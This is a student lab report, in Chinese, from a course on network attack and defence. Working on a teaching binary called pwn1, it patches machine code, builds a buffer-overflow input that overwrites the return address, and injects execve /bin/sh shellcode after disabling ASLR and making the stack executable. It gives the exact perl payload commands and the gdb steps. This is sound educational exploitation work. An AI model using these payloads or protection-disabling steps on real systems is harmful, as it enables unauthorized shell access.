2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

实验目的

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  
  NOP：无作用，英文"no operation"的简写，意思是"do nothing"(机器码90)
  
  JNE：若不相等则跳(机器码75)
  
  JE：若相等则跳(机器码74)
  
  JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB），段内直接近转移Jmp near（机器码：E9），段内间接转移Jmp word（机器码：FF），段间直接(远)转移Jmp far（机器码：EA）
  
  CMP：比较指令，cmp的功能相当于减法指令。它不保存结果，只是影响相应的标志位(机器码39)
• 掌握反汇编与十六进制编程器
  
  反汇编指令：objdump -d objfile。
  
  十六进制编程器：用来以16进制视图进行文本编辑的编辑工具软件，其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下：
  • 输入命令vi 20165317pwn1查看可执行文件内容，发现大部分是我们没法理解的乱码；
  • 按esc后在底行输入:%!xxd将显示模式切换为16进制模式;
  • 进行相关操作后，输入:%!xxd -r转换16进制为原格式。
• 能正确修改机器指令改变程序执行流程
• 能正确构造payload进行bof攻击

实验内容

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

• 注入一个自己制作的shellcode并运行这段shellcode

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

任务一：直接修改程序机器指令，改变程序执行流程

下载目标文件pwn1,用 objdump -d 20165317pwn1 命令进行反汇编：

call 8048491 <foo> 是汇编指令

那我们想让它调用getShell，只要修改 d7ffffff 为 c3ffffff

vim 20165317pwn1 esc->:%!xxd 将显示模式切换为16进制模式：

在底行/d7查找需要修改的内容，将d7改为c3:

转换16进制为原格式：:%!xxd -r

保存退出：:wq

再用 objdump -d 20165317pwn1 命令反汇编看一下，call指令是否正确调用getShell：

./20165317pwn1 运行改后的代码，会得到shell提示符$：

任务二：通过构造输入参数，造成BOF攻击，改变程序执行流

可执行文件正常运行是调用foo函数，我们发现这个函数有Buffer overflow漏洞

foo函数读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址

正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba

确认输入字符串哪几个字符会覆盖到返回地址

用gdb 20165317pwn2(pwn1的副本）调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出(tu)

info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址(tu)

这是我们就将getShell的地址0x0804847d把1234替换

由于数据按小端存储，我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)

使用16进制查看指令xxd查看input文件的内容是否如预期

确认无误后用(cat input;cat) | ./20165317pwn2将input中的字符串作为可执行文件的输入(tu)

注入Shellcode并执行

修改设置

apt-get install execstack //安装execstack命令

execstack -s pwn1 //设置堆栈可执行

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化  

(tu)

构造要注入的payload

使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'> input_shellcode 注入，其中前面32个A用来填满缓冲区buf， \x04\x03\x02\x01 为预留的返回地址retaddr：(Tu)

接下来确定\x4\x3\x2\x1到底该填什么：

打开一个终端注入这段攻击buf： (cat input_shellcode;cat) | ./20165311

再开另外一个终端，用gdb来调试pwn1这个进程：用 ps -ef | grep 20165311 命令找到pwn1的进程号是：31847(tu)

用gdb attach 31847 命令启动gdb调试这个进程：(tu)

用 disassemble foo 命令反汇编，通过设置断点，来查看注入buf的内存地址(tu)：

用 break *0x080484ae 命令设置断点，输入c命令(continue)继续运行，同时在20165311进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用 info r esp 命令查找地址。用 x/16x 0xffffd2dc 命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为 0xffffd2e0 ：

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令 perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再用 (cat input_shellcode;cat) | ./20165311 命令次执行程序，攻击成功！